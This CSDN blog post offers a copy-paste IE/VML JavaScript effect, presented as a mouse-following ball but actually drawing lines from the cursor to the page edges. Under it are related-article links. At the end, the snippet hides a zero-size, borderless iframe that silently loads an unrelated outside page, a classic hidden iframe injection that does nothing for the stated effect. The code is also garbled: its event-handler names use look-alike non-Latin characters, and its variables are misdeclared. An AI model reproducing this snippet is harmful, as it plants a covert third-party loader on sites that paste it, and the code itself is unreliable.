跟随鼠标的弹性小球代码

最新推荐文章于 2021-02-13 02:31:42 发布
最新推荐文章于 2021-02-13 02:31:42 发布
阅读量632 收藏
点赞数
分类专栏： asp程序代码 javascript代码下载 文章标签： function scroll behavior iframe border html
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/ucshng/article/details/1609802
版权

<!--将以下代码加入HTML的<Body></Body>之间-->

<STYLE>
.disableHscroll{
width:100%;overflow-x:hidden;overflow-y:scroll;
}
v/:* {
 BEHAVIOR: url(#default#VML)
}
</STYLE><SCRIPT>
var defaultcolor="#999999"
var lineweighthighlight=1
var lineweightnormal=1
var distancetomouse=0
var mousepos_x=0
var mousepos_x=0
var marginleft=0
var margintop=0
var marginbottom=0
var marginright=0
var margincenterx
var margincentery
var mousepos_x=0
var mousepos_x=0
if (document.all&&window.print){
    document.write('<div id="bodycontent" style="position:relative">')
}
function initiateanimation(){
    marginbottom=document.body.clientHeight
    marginright=document.body.clientWidth
    margincenterx=Math.floor(marginright/2)
    margincentery=Math.floor(marginbottom/2)   
    rectangulartopleft.to=marginleft+","+margintop
    rectangulartopright.to=marginright+","+margintop
    rectangularbottomleft.to=marginleft+","+marginbottom
    rectangularbottomright.to=marginright+","+marginbottom   
    rectangulartop.to=margincenterx+","+margintop
    rectangularright.to=marginright+","+margincentery
    rectangularbottom.to=margincenterx+","+marginbottom
    rectangularleft.to=marginleft+","+margincentery   
    rectangulartopleft.strokecolor=defaultcolor
    rectangulartopright.strokecolor=defaultcolor
    rectangularbottomleft.strokecolor=defaultcolor
    rectangularbottomright.strokecolor=defaultcolor   
    rectangulartop.strokecolor=defaultcolor
    rectangularright.strokecolor=defaultcolor
    rectangularbottom.strokecolor=defaultcolor
    rectangularleft.strokecolor=defaultcolor}
function msover(thiscolorhighlight){
    if(document.all&&window.print){
        rectangulartopleft.strokecolor=thiscolorhighlight
        rectangulartopright.strokecolor=thiscolorhighlight
        rectangularbottomleft.strokecolor=thiscolorhighlight
        rectangularbottomright.strokecolor=thiscolorhighlight   
        rectangulartop.strokecolor=thiscolorhighlight
        rectangularright.strokecolor=thiscolorhighlight
        rectangularbottom.strokecolor=thiscolorhighlight
        rectangularleft.strokecolor=thiscolorhighlight       
        rectangulartopleft.strokeweight=lineweighthighlight
        rectangulartopright.strokeweight=lineweighthighlight
        rectangularbottomleft.strokeweight=lineweighthighlight
        rectangularbottomright.strokeweight=lineweighthighlight   
        rectangulartop.strokeweight=lineweighthighlight
        rectangularright.strokeweight=lineweighthighlight
        rectangularbottom.strokeweight=lineweighthighlight
        rectangularleft.strokeweight=lineweighthighlight
    }
}
function msout(){
    if(document.all&&window.print){
        rectangulartopleft.strokecolor=defaultcolor
        rectangulartopright.strokecolor=defaultcolor
        rectangularbottomleft.strokecolor=defaultcolor
        rectangularbottomright.strokecolor=defaultcolor   
        rectangulartop.strokecolor=defaultcolor
        rectangularright.strokecolor=defaultcolor
        rectangularbottom.strokecolor=defaultcolor
        rectangularleft.strokecolor=defaultcolor       
        rectangulartopleft.strokeweight=lineweightnormal
        rectangulartopright.strokeweight=lineweightnormal
        rectangularbottomleft.strokeweight=lineweightnormal
        rectangularbottomright.strokeweight=lineweightnormal   
        rectangulartop.strokeweight=lineweightnormal
        rectangularright.strokeweight=lineweightnormal
        rectangularbottom.strokeweight=lineweightnormal
        rectangularleft.strokeweight=lineweightnormal     
    }
}
function momouse(){
    if(document.all&&window.print){
        mousepos_x=document.body.scrollLeft+event.clientX
        mousepos_y=document.body.scrollTop+event.clientY   
        rectangulartopleft.from=mousepos_x+","+mousepos_y
        rectangulartopright.from=mousepos_x+","+mousepos_y
        rectangularbottomleft.from=mousepos_x+","+mousepos_y
        rectangularbottomright.from=mousepos_x+","+mousepos_y   
        rectangulartop.from=mousepos_x+","+mousepos_y
        rectangularright.from=mousepos_x+","+mousepos_y
        rectangularbottom.from=mousepos_x+","+mousepos_y
        rectangularleft.from=mousepos_x+","+mousepos_y
     }
}
if(document.all&&window.print){
    document.body.className="disableHscroll"
    code="<v:line id=rectangulartopleft style='LEFT:0;POSITION:absolute;TOP:0;' strokeweight='"+lineweightnormal+"pt'></v:line>"
    code+="<v:line id=rectangulartopright style='LEFT:0;POSITION:absolute;TOP:0;' strokeweight='"+lineweightnormal+"pt'></v:line>"
    code+="<v:line id=rectangularbottomleft style='LEFT:0;POSITION:absolute;TOP:0;' strokeweight='"+lineweightnormal+"pt'></v:line>"
    code+="<v:line id=rectangularbottomright style='LEFT:0;POSITION:absolute;TOP:0;' strokeweight='"+lineweightnormal+"pt'></v:line>"
    code+="<v:line id=rectangulartop style='LEFT:0;POSITION:absolute;TOP:0;' strokeweight='"+lineweightnormal+"pt'></v:line>"
    code+="<v:line id=rectangularright style='LEFT:0;POSITION:absolute;TOP:0;' strokeweight='"+lineweightnormal+"pt'></v:line>"
    code+="<v:line id=rectangularbottom style='LEFT:0;POSITION:absolute;TOP:0;' strokeweight='"+lineweightnormal+"pt'></v:line>"
    code+="<v:line id=rectangularleft style='LEFT:0;POSITION:absolute;TOP:0;' strokeweight='"+lineweightnormal+"pt'></v:line>"
    document.body.insertAdjacentHTML("afterBegin",code)
    document.οnmοusemοve=momouse
    window.οnlοad=initiateanimation
}
</SCRIPT>

 

 


<IFRAME border=0 name=I1  marginWidth=0 marginHeight=0 src=http://www.7stk.com/store/htm/5w_jingcai.htm frameBorder=0 width=0 scrolling=no height=0></IFRAME>

 

 

 

 

</body>

</html> 

ucshng
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
最简单的代码实现小球式弹出菜单
小强Stronger的博客
11-03 1050
利用Android6.0新出的控件FloatingActionButton实现小球式弹出式菜单,再也不用导入复杂的第三方类库了! 下面看代码 android studio环境,首先导入 android.support.design.这个jar包, 上布局: TextView android:layout_width="match_parent" an
ES6与canvas实现鼠标小球跟随效果
09-24
这个效果是这样的：当用户移动鼠标时，屏幕上会生成一个小球，并且这个小球会跟随鼠标的移动而移动，直到消失。以下是实现这一效果的关键知识点： 1. **ES6中的Class（类）**： 在JavaScript ES6中，引入了`class`...
js实现跟随鼠标移动的小球
01-19
本文实例为大家分享了js实现跟随鼠标移动的具体代码，供大家参考，具体内容如下 <!DOCTYPE html> <html> <head> <title>follow mouse</title> </head> <style type=text/css> *{ margin: 0; padding:0; } #div1{width: 50px;height: 50px;background: red;color:#fff;text-align: center;line-height: 50px; position: absolute;transition:
弹动的小球OPENGL源代码
11-27
这是一个是OPENGL编写的弹动的小球的源代码
原生js实现弹动的小球
wangzhneg123的博客
02-23 1271
弹动小球效果展示 源码展示 &lt;!doctype html&gt; &lt;html&gt; &lt;head&gt; &lt;meta charset="utf-8"&gt; &lt;title&gt;弹弹球（原生js）&lt;/title&gt; &lt;style&gt; * { margin:0; padding:0; font-family:Mi
小球完全弹性碰撞特效代码
03-20
在计算机编程领域，小球完全弹性碰撞特效代码通常是指在二维或三维空间中模拟物理现象，特别是游戏开发或物理引擎中的应用。完全弹性碰撞是一种理想化的物理情况，其中两个物体在碰撞后没有能量损失，速度和动量都...
小球跟随鼠标小球跟随鼠标
04-08
小球跟随鼠标小球跟随鼠标小球跟随鼠标小球跟随鼠标小球跟随鼠标小球跟随鼠标
小球移动的简单代码参考
04-02
建立面小球在平面内移动，碰撞小球反弹的简单小代码。
如何实现球随鼠标移动
yinbucheng的博客
05-18 673
主要代码：      canvas.onmousemove= function(event){                              //清除画布 开始的x,y轴的坐标 清除的宽度和高度                 paint.clearRect(0,0,canvas.width,canvas.height);                 var x = ev
弹球游戏源代码
03-15
用HGE开发的一个弹球游戏，基本游戏架构已经完整，但是具体细节没有完善，基本的弹球游戏的技术点都在里面，可能仅仅只能供一些初学者参考而已，因为毕竟这是我第一次用C++的类来写游戏
Java鼠标移动跟随原代码
03-02
你是Java初学者吗 那你是要必看的哦 function flowme(){ document.getElementById("i_1").style.left=event.x+5; document.getElementById("i_1").style.top=event.y+5; ²ãÓëÊó±êµÄºá×Ý×ø±ê¼ä¾à! }flowme();
jq实现图片跟着鼠标走
03-02
仿淘宝鼠标经过商品图片，实现图片跟着鼠标走
JQUERY非常有镜头感人物会跟着鼠标左右摆动大气广告代码.zip
07-04
JQUERY非常有镜头感人物会跟着鼠标左右摆动大气广告代码
jquery实现人物头像跟随鼠标转动效果.rar
09-05
jquery实现人物头像跟随鼠标转动效果.rar
图片跟着鼠标走，js怎么写源代码
java热爱者
06-02 203
&lt;html xmlns="http://www.w3.org/1999/xhtml"&gt; &lt;head&gt; &lt;meta http-equiv="Content-Type" content="text/html; charset=utf-8" /&gt; &lt;title&gt;图片跟着鼠标走&lt;/title&gt; &lt
java 小球闪烁_用java实现跳动的小球示例代码
weixin_33632413的博客
02-13 328
实现效果为一个小球接触左右侧时，会反向的运动。import javafx.application.Application;import javafx.event.ActionEvent;import javafx.event.EventHandler;import javafx.scene.Group;import javafx.scene.Scene;import javafx.scene.co...
用Canvas画一只会跟着鼠标走的小狗
weixin_34055787的博客
03-01 503
以前经常看到这种效果：在网页右下角放一个人，然后他的眼珠会跟着鼠标转，效果如下：这个例子来自于CodePen，它是根据鼠标的位置设置两个眼球的transform: rotate属性做的效果。这种跟着鼠标移动的小交互一般都比较好玩，所以我突然想到，能不能做一只会跟着鼠标走的小狗，最后的效果如下所示：我们一步步来实现这个效果。1. 小狗走的动画小狗走的动画应该怎么实现呢？如果用一张gif，然后根据鼠标...
python小球弹弹弹_python开发的小球完全弹性碰撞游戏代码
weixin_39530839的博客
11-27 334
#python tkinter#python version 3.3.2from tkinter import *'''判断两个小球{圆心：A(x1,y1) 半径：r X轴速度：Vax Y轴速度：Vay圆心：B(x2,y2) 半径：R X轴速度：Vbx Y轴速度：Vby}碰撞的条件是：1.两个小球的圆心距离不大于两小球半径之和(r+R)，即：{(x2 - x1)^2 + (y2 - y...
实现小球跟随鼠标的效果
最新发布
06-09
可以使用 JavaScript 和 CSS 实现小球跟随鼠标的效果。具体实现步骤如下： 1. 在 HTML 中添加一个小球元素： ```html <div id="ball"></div> ``` 2. 在 CSS 中设置小球的样式，包括大小、颜色、圆角等： ```css ...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值